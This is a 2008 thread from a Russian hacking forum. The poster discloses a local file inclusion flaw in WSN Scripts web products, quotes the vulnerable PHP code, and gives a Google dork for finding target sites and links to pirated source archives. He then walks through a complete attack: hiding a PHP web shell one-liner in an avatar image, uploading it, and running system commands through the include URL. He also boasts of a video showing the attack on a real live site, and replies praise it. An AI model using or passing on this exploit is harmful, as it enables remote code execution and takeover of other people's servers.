Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Критическая уязвимость в продуктах Wsn Scripts (https://forum.antichat.xyz/showthread.php?t=79844)

otmorozok428 06.08.2008 11:17

Критическая уязвимость в продуктах Wsn Scripts
 
Сегодня я расскажу о найденной мною уязвимости в семействе продуктов WSN Scripts. Данная уязвимость позволяет выполнить произвольный PHP-код на сервере, загруженный через аватару.

Сайт производителя: http://www.webmastersite.net

Уязвимые продукты: Wsn Forum <= 4.1.43, Wsn Knowledge Base <= 4.1.36, Wsn Links <= 4.1.44, Wsn Gallery <= 4.1.30

Поисковый запрос Google: inurl:memberlist.php?action=profile

Поскольку данный продукт является коммерческим и недоступен для свободного скачивания - исходники льём отсюда:

Wsn Forum 4.1.43 (1,86 MB)

http://depositfiles.com/files/7005973

Wsn Knowledge Base 4.1.36 (1,63 MB)

http://depositfiles.com/files/7006024

Wsn Links 4.1.44 (1,67 MB)

http://depositfiles.com/files/7006073

Wsn Gallery 4.1.30 (1,68 MB)

http://depositfiles.com/files/7006145

Уязвимый код в файле start.php
PHP код:

if ($custom == 'yes'// custom templates
// access with index.php?custom=yes&TID=name&ext=ext
 
if ($ext == ''$ext 'tpl';
 
$TID str_replace('-''/'$TID);
 
$thefile $TID .'.'$ext
 if (!
file_exists($settings->filepathto($templatesdir).  $thefile)) $thefile 'custom/' $thefile

инклудится в файл index.php при помощи инструкции
PHP код:

require 'start.php'// header stuff 

Таким образом, имеем локальный инклуд:
PHP код:

index.php?custom=yes&TID=[Filename]&ext=[File Extension

Теперь, перейдём к практике.

Заливка шелла через аватару

1. Сначала создадим аватару с внедрённым в неё PHP-кодом. Для этой цели подойдёт обычный Far. Открываем файл аватары в режиме редактирования (клавиша F4), в конец файла дописываем строчку

PHP код:

<? system($_GET['cmd']); ?>

, сохраняем файл (клавиша F2). Аватарка с шеллом - готова.

2. Регистрируемся на сайте.

3. Идём в редактирование профиля (Options / Edit Profile).

4. Ищем опцию Change Avatar, нажимаем кнопку Обзор, выбираем аватар с внедрённым в него PHP-кодом и жмём кнопку Upload.

5. Узнаём имя загруженной аватары на сайте (для этого нужно навести курсор на картинку, нажать правую клавишу мышки и выбрать пункт "Копировать адрес рисунка". Куда-нибудь вставляем этот адрес и смотрим значение параметра name. Это будет имя аватары на сервере).

6. Подставляем имя аватары на сервере в строку
Цитата:

http://site.com/index.php?custom=yes&TID=[Filename]&ext=jpg&cmd=ls -al
Юзаем шелл.

Для наглядности я отснял небольшое ВИДЕО, где показана заливка шелла на примере одного раскрученного ресурса. Размер файла - 8,57 MB.

Carnivore.Sys 06.08.2008 11:36

Молодец + однозначно,еще и видео прицепил ;)

Zircool 06.08.2008 18:06

Может кто-нибудь перезалить видео на rapidshare

otmorozok428 06.08.2008 20:04

На Милворме опубликовали :)

http://www.milw0rm.com/exploits/6208


Время: 20:15